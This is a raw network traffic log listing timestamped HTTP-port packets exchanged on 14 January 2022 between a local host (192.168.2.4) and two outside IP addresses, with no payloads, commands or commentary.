Jan 14, 2022 12:30:16.631737947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.631820917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.631906986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.631990910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632072926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632159948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632242918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632338047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632448912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632534981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632620096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632704973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632785082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632869959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.632951975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633033037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633116961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633199930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633291960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633378029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633462906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633543968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633629084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633717060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633800030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633886099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.633965969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634043932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634129047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634211063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634313107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634401083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634485006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634565115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634655952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634738922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634819031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634905100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.634987116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635066986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635153055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635234118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635324955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635406971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635490894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635571957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635653973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635749102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635832071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635915995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.635994911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636073112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636158943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636240005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636331081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636415005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636495113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636580944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636662960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636768103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636857033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.636943102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637051105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637125015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637207985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637353897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637494087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637584925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637703896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637775898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.637903929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638005972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638106108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638211966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638385057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638501883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638591051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638683081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638771057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638855934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.638945103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.639039040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.643214941 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643241882 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643256903 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643275976 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643294096 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643313885 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643332958 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643351078 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643366098 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643376112 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643378973 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643394947 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643412113 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643413067 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643431902 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643446922 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643461943 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643474102 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643476963 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643496037 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643497944 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643517017 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643523932 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643537045 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643554926 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643572092 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643579960 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643590927 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643609047 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643625021 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643641949 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643647909 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643663883 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643682003 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643690109 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643702030 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643719912 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643734932 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643738031 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643758059 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643769979 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643776894 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643795013 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.643804073 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.643842936 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.653255939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.654263973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.654377937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.654495001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.654578924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.654702902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.654802084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.654882908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655031919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655136108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655222893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655323982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655416012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655513048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655601025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655699015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655786991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655886889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.655972958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.663219929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.663393021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.663499117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.663589954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.663678885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.663770914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.663860083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.663949013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664040089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664129972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664217949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664350033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664458990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664546967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664642096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664736032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664824963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.664916992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665005922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665095091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665189028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665288925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665380955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665468931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665563107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665652037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665740967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665838003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.665925980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666016102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666102886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666188955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666291952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666378021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666470051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666558981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666650057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666789055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666912079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.666928053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.667032003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.667105913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.684129953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.684274912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.684448004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.684545040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.684642076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.684742928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.684832096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.684951067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685015917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685101986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685194016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685292006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685388088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685512066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685614109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685703993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685790062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685885906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.685973883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686060905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686155081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686244011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686342955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686433077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686527014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686616898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686702967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686798096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686889887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.686980009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687072992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687160015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687252045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687347889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687442064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687530994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687621117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687714100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687802076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687894106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.687983990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688069105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688162088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688251972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688375950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688483953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688575029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688664913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688754082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688847065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.688935995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689022064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689116001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689203978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689307928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689404964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689559937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689671993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689763069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689867973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.689970016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.690071106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.690160990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.690263987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.697489023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.697715044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.697824955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.697917938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698009968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698098898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698188066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698290110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698381901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698471069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698558092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698611021 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.698627949 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.698643923 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.698659897 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.698847055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698894978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.698996067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699094057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699181080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699269056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699374914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699466944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699557066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699646950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699740887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699831009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.699922085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700015068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700104952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700196981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700314045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700411081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700495958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700588942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700679064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700772047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700867891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700906992 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.700932026 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.700956106 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.700977087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.700989008 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701008081 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701011896 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701036930 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701046944 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701061010 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701071024 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701083899 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701107025 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701131105 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701144934 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701153994 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701174021 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701178074 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701201916 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701219082 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701225042 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701250076 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701258898 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701272964 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701296091 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701312065 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701318026 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701342106 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701364040 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701378107 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701386929 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701409101 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701409101 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701433897 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701442003 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701457024 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701479912 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701502085 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701519012 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701524019 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701546907 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701546907 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701570034 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701587915 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701592922 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701615095 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701628923 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701637030 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701659918 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701680899 CET	80	49926	81.163.30.181	192.168.2.4
